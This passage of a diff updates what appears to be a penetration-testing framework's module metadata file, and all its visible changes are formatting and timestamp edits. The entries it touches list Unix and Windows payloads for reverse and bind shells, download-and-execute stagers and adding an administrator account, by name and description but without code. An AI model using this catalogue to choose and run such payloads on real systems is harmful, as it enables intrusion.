"hdm " ], "description": "Creates an interactive shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_netcat_gaping", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214930,9 +218989,7 @@ "payload_cmd/unix/reverse_nodejs": { "name": "Unix Command Shell, Reverse TCP (via nodejs)", "fullname": "payload/cmd/unix/reverse_nodejs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214940,24 +218997,21 @@ "joev " ], "description": "Continually listen for a connection and spawn a command shell via nodejs", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_nodejs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214966,9 +219020,7 @@ "payload_cmd/unix/reverse_openssl": { "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", "fullname": "payload/cmd/unix/reverse_openssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214976,24 +219028,21 @@ "hdm " ], "description": "Creates an interactive shell through two inbound connections", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_openssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215002,9 +219051,7 @@ "payload_cmd/unix/reverse_perl": { "name": "Unix Command Shell, Reverse TCP (via Perl)", "fullname": "payload/cmd/unix/reverse_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215012,24 +219059,21 @@ "cazz " ], "description": "Creates an interactive shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_perl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215038,9 +219082,7 @@ "payload_cmd/unix/reverse_perl_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via perl)", "fullname": "payload/cmd/unix/reverse_perl_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215048,24 +219090,21 @@ "RageLtMan " ], "description": "Creates an interactive shell via perl, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_perl_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215074,9 +219113,7 @@ "payload_cmd/unix/reverse_php_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via php)", "fullname": "payload/cmd/unix/reverse_php_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215084,24 +219121,21 @@ "RageLtMan " ], "description": "Creates an interactive shell via php, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-19 20:39:52 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_php_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215110,9 +219144,7 @@ "payload_cmd/unix/reverse_python": { "name": "Unix Command Shell, Reverse TCP (via Python)", "fullname": "payload/cmd/unix/reverse_python", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215120,24 +219152,21 @@ "bcoles " ], "description": "Connect back and create a command shell via Python", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_python", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215146,9 +219175,7 @@ "payload_cmd/unix/reverse_python_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/unix/reverse_python_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215156,24 +219183,21 @@ "RageLtMan " ], "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:44:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_python_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215182,9 +219206,7 @@ "payload_cmd/unix/reverse_r": { "name": "Unix Command Shell, Reverse TCP (via R)", "fullname": "payload/cmd/unix/reverse_r", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215192,24 +219214,21 @@ "RageLtMan " ], "description": "Connect back and create a command shell via R", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_r", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215218,9 +219237,7 @@ "payload_cmd/unix/reverse_ruby": { "name": "Unix Command Shell, Reverse TCP (via Ruby)", "fullname": "payload/cmd/unix/reverse_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215228,24 +219245,21 @@ "kris katterjohn " ], "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ruby", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215254,9 +219268,7 @@ "payload_cmd/unix/reverse_ruby_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", "fullname": "payload/cmd/unix/reverse_ruby_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215264,24 +219276,21 @@ "RageLtMan " ], "description": "Connect back and create a command shell via Ruby, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ruby_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215290,9 +219299,7 @@ "payload_cmd/unix/reverse_socat_sctp": { "name": "Unix Command Shell, Reverse SCTP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215300,9 +219307,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215316,8 +219321,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215326,9 +219330,7 @@ "payload_cmd/unix/reverse_socat_tcp": { "name": "Unix Command Shell, Reverse TCP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215336,9 +219338,7 @@ "jheysel-r7" ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215352,8 +219352,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215362,9 +219361,7 @@ "payload_cmd/unix/reverse_socat_udp": { "name": "Unix Command Shell, Reverse UDP (via socat)", "fullname": "payload/cmd/unix/reverse_socat_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215372,24 +219369,21 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_socat_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215398,9 +219392,7 @@ "payload_cmd/unix/reverse_ssh": { "name": "Unix Command Shell, Reverse TCP SSH", "fullname": "payload/cmd/unix/reverse_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215409,24 +219401,21 @@ "hirura" ], "description": "Connect back and create a command shell via SSH", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ssh", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215435,9 +219424,7 @@ "payload_cmd/unix/reverse_ssl_double_telnet": { "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215446,24 +219433,21 @@ "RageLtMan " ], "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ssl_double_telnet", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215472,9 +219456,7 @@ "payload_cmd/unix/reverse_stub": { "name": "Unix Command Shell, Reverse TCP (stub)", "fullname": "payload/cmd/unix/reverse_stub", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215482,24 +219464,21 @@ "hdm " ], "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_stub", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215508,9 +219487,7 @@ "payload_cmd/unix/reverse_tclsh": { "name": "Unix Command Shell, Reverse TCP (via Tclsh)", "fullname": "payload/cmd/unix/reverse_tclsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215518,9 +219495,7 @@ "bcoles " ], "description": "Creates an interactive shell via Tclsh", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215534,8 +219509,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215544,9 +219518,7 @@ "payload_cmd/unix/reverse_zsh": { "name": "Unix Command Shell, Reverse TCP (via Zsh)", "fullname": "payload/cmd/unix/reverse_zsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215554,25 +219526,22 @@ "Doug Prostko ", "Wang Yihang " ], - "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_zsh", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215581,9 +219550,7 @@ "payload_cmd/windows/adduser": { "name": "Windows Execute net user /ADD CMD", "fullname": "payload/cmd/windows/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215592,25 +219559,22 @@ "scriptjunkie", "Chris John Riley" ], - "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", - "references": [ - - ], + "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/adduser.rb", "is_install_path": true, "ref_name": "cmd/windows/adduser", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215619,9 +219583,7 @@ "payload_cmd/windows/bind_lua": { "name": "Windows Command Shell, Bind TCP (via Lua)", "fullname": "payload/cmd/windows/bind_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215629,24 +219591,21 @@ "xistence " ], "description": "Listen for a connection and spawn a command shell via Lua", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", "is_install_path": true, "ref_name": "cmd/windows/bind_lua", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215655,9 +219614,7 @@ "payload_cmd/windows/bind_perl": { "name": "Windows Command Shell, Bind TCP (via Perl)", "fullname": "payload/cmd/windows/bind_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215667,24 +219624,21 @@ "aushack " ], "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", "is_install_path": true, "ref_name": "cmd/windows/bind_perl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215693,9 +219647,7 @@ "payload_cmd/windows/bind_perl_ipv6": { "name": "Windows Command Shell, Bind TCP (via perl) IPv6", "fullname": "payload/cmd/windows/bind_perl_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215705,24 +219657,21 @@ "aushack " ], "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", "is_install_path": true, "ref_name": "cmd/windows/bind_perl_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215731,9 +219680,7 @@ "payload_cmd/windows/bind_ruby": { "name": "Windows Command Shell, Bind TCP (via Ruby)", "fullname": "payload/cmd/windows/bind_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215741,24 +219688,21 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", "is_install_path": true, "ref_name": "cmd/windows/bind_ruby", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215767,34 +219711,29 @@ "payload_cmd/windows/download_eval_vbs": { "name": "Windows Executable Download and Evaluate VBS", "fullname": "payload/cmd/windows/download_eval_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "scriptjunkie" ], - "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", - "references": [ - - ], + "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", "is_install_path": true, "ref_name": "cmd/windows/download_eval_vbs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215803,9 +219742,7 @@ "payload_cmd/windows/download_exec_vbs": { "name": "Windows Executable Download and Execute (via .vbs)", "fullname": "payload/cmd/windows/download_exec_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215813,24 +219750,21 @@ "scriptjunkie" ], "description": "Download an EXE from an HTTP(S) URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", "is_install_path": true, "ref_name": "cmd/windows/download_exec_vbs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215839,9 +219773,7 @@ "payload_cmd/windows/generic": { "name": "Windows Command, Generic Command Execution", "fullname": "payload/cmd/windows/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215849,24 +219781,21 @@ "juan vazquez " ], "description": "Executes the supplied command", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/generic.rb", "is_install_path": true, "ref_name": "cmd/windows/generic", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215875,9 +219804,7 @@ "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215887,9 +219814,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215903,8 +219828,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -215917,9 +219841,7 @@ "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215930,9 +219852,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215946,8 +219866,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -215960,9 +219879,7 @@ "payload_cmd/windows/http/x64/custom/bind_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215972,9 +219889,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -215988,8 +219903,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216002,9 +219916,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216014,9 +219926,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216030,8 +219940,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216044,9 +219953,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216061,9 +219968,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216077,8 +219982,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216091,9 +219995,7 @@ "payload_cmd/windows/http/x64/custom/bind_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216104,9 +220006,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216120,8 +220020,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216134,9 +220033,7 @@ "payload_cmd/windows/http/x64/custom/reverse_http": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216146,9 +220043,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216162,8 +220057,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216176,9 +220070,7 @@ "payload_cmd/windows/http/x64/custom/reverse_https": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216190,9 +220082,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216206,8 +220096,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216220,9 +220109,7 @@ "payload_cmd/windows/http/x64/custom/reverse_named_pipe": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216232,9 +220119,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216248,8 +220133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216262,9 +220146,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": 